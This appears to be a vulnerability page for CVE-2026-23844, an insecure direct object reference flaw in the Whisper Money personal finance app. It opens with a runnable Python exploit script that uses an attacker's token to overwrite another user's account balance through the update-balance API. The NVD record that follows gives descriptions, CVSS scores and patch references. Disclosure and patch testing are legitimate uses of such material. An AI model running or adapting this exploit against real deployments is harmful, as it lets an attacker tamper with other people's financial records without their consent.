CVE-2026-23844

import requests import json # CVE-2026-23844 PoC - IDOR in Whisper Money # Target: Whisper Money < 0.1.5 target_url = "http://target-server/api/accounts/update-balance" # Attacker credentials attacker_token = "attacker_auth_token_here" # Victim account ID (to be determined by attacker) victim_account_id = 12345 headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } # Malicious payload - update victim account balance payload = { "account_id": victim_account_id, "balance": 999999.99, "operation": "set" } response = requests.post(target_url, headers=headers, json=payload) if response.status_code == 200: result = response.json() print(f"[+] Exploit Success! Victim balance updated.") print(f"Response: {json.dumps(result, indent=2)}") else: print(f"[-] Exploit Failed. Status: {response.status_code}") print(f"Response: {response.text}")

{"cve": {"id": "CVE-2026-23844", "sourceIdentifier": "[email protected]", "published": "2026-01-19T21:15:51.207", "lastModified": "2026-02-05T18:49:26.760", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Whisper Money is a personal finance application. Versions prior to 0.1.5 have an insecure direct object reference vulnerability. A user can update/create account balances in other users' bank accounts. Version 0.1.5 fixes the issue."}, {"lang": "es", "value": "Whisper Money es una aplicación de finanzas personales. Las versiones anteriores a la 0.1.5 tienen una vulnerabilidad de referencia directa insegura a objetos. Un usuario puede actualizar/crear saldos de cuentas en las cuentas bancarias de otros usuarios. La versión 0.1.5 soluciona el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-488"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:whisper.money:whisper_money:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.1.5", "matchCriteriaId": "10737ED6-1DD2-4FC6-80DB-CC3DB723EAFD"}]}]}], "references": [{"url": "https://github.com/whisper-money/whisper-money/commit/80117c3edeaf5c5a5166f3815fc555a15b5ce686", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/whisper-money/whisper-money/pull/60", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/whisper-money/whisper-money/security/advisories/GHSA-c4g3-wpxr-2m74", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}